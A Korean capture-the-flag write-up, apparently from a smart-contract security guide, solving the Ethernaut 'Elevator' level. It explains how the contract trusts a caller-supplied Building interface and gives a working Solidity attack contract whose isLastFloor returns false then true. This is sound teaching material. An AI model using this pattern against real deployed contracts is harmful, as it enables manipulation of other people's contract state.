> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/11.-elevator.md).

# 11. Elevator

\#msg.sender

> 이 엘리베이터로는 건물 꼭대기까지 갈 수 없습니다. 그렇죠?
>
> 도움이 될 만한 것들:
>
> * 때때로 Solidity는 약속을 잘 지키지 않습니다.
> * 이 Elevator 컨트랙트는 Building 인터페이스를 통해 사용되기를 기대합니다.

### 들어가기 전에

* msg.sender 기반 인터페이스 호출

컨트랙트 내부에서 `Building(msg.sender).isLastFloor()`처럼 호출하면 외부에서 이 함수를 임의로 구현하여 조작된 응답을 리턴할 수 있다.

***

### 원본 소스 코드

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}
```

먼저 Building 이라는 컨트랙트가 isLastFloor함수를 가지고 있다는 것을 인터페이스를 통해 알 수 있다.

그리고 goTo함수를 보면 Building 컨트랙트는 msg.sender의 것을 사용한다.

goTo 함수는 building.isLastFloor()의 반환 값이 false여야지만 if문 내부로 들어갈 수 있게 한다. 그리고 if 문 내부에서는 building.isLastFloor()을 한번 더 호출하고 반환값을 top에 넣는다.

***

### 공격 시나리오

이번 공격은 문제 인스턴스가 msg.sender에게 building의 구조를 맡겨버린다는 점을 이용해야 한다.

1. top을 조작하기 위해서는 goTo 함수의 if 문 안으로 들어가야하는데 이때 Building의 isLastFloor의 반환값은 false여야한다.
2. 그리고 우리는 top을 true로 바꿔야하기 때문에 if문 내부에서 isLastFloor 함수를 다시 호출 했을 때는 true를 반환하게 해야한다.
3. isLastFloor()라는 함수를 포함하는 building 컨트랙트를 만들고 해당 함수가 첫번째 호출에서는 false, 두번째 호출에서는 true를 반환하게 하면 된다.

***

### 공격 코드

먼저 cast call로 기존 top의 상태를 볼 수 있다.

```jsx
cast call <문제 인스턴스 주소>  --rpc-url <rpc url> “top” 
```

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2F4Oppn0dU9jsvKdDqMnV2%2Fimage.png?alt=media&amp;token=26df9544-2b5e-4b29-b2c8-7dc28fb8ec96" alt=""><figcaption></figcaption></figure>

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface Elevator {
  function goTo(uint) external;
}

contract Attack {
    uint public count=0;
    address target;

    constructor(address _target) {
    target = _target;
    }

    function exploit() public {
        Elevator elevator = Elevator(target);
        elevator.goTo(1);
    }

    function isLastFloor(uint _floor) external returns(bool){
    count = count + _floor;
    return count >=2 ;
  }
}
```

이제 새로 생성한 Attack 코드를 보면 생성자의 인자인 target에 문제 인스턴스의 주소를 넣었을 때 exploit 함수가 문제 인스턴스의 goTo함수를 1을 인자로 넣으며 호출하는 것을 볼 수 있다.

그럼 goTo함수는 맨처음 if문에서 \_floor 인자를 1을 넣으면서 현재 msg.sender인 Attack 컨트랙트의 isLastFloor을 호출한다.

이때 if문 조건을 확인하는데 Attack 컨트랙트에서 처음 1을 넣어 isLastFloor을 호출 했을 때 count의 값은 1 이므로 count ≥ 2 의 조건을 만족하지 않아서 false를 반환한다.

그리고 if 문 내부에서 isLastFloor 함수가 다시 호출되었을 때 count의 값은 2이므로 count ≥ 2 의 조건을 만족하여 true를 반환하게 된다.

이때 top의 값이 true로 바뀌면서 조건을 만족하게 된다.

이러한 상태의 인스턴스를 제출하면 문제가 해결된다.

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FP8m5MPT5r7E858BKy8FK%2Fimage%20(1).png?alt=media&amp;token=251a917a-eb97-466e-95ed-27b68971bf1e" alt=""><figcaption></figcaption></figure>

***

### :bangbang:더 알아보기 :bangbang:

> 인터페이스에 `view` 함수 수식자(modifier)를 붙이면, 상태 변경을 방지할 수 있습니다. `Pure` 수식자는 함수가 상태를 전혀 읽거나 수정하지 않도록 제한합니다. 반드시 [Solidity 공식 문서](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions)를 참고하여 이러한 수식자의 제약사항과 주의점들을 학습하세요.
>
> 이 레벨을 해결하는 또 다른 방법은, 입력값에 따라 서로 다른 결과를 반환하지만 상태는 변경하지 않는 view 함수를 작성하는 것 입니다.
>
> 예를 들어, `gasleft()` 함수를 활용할 수 있습니다.
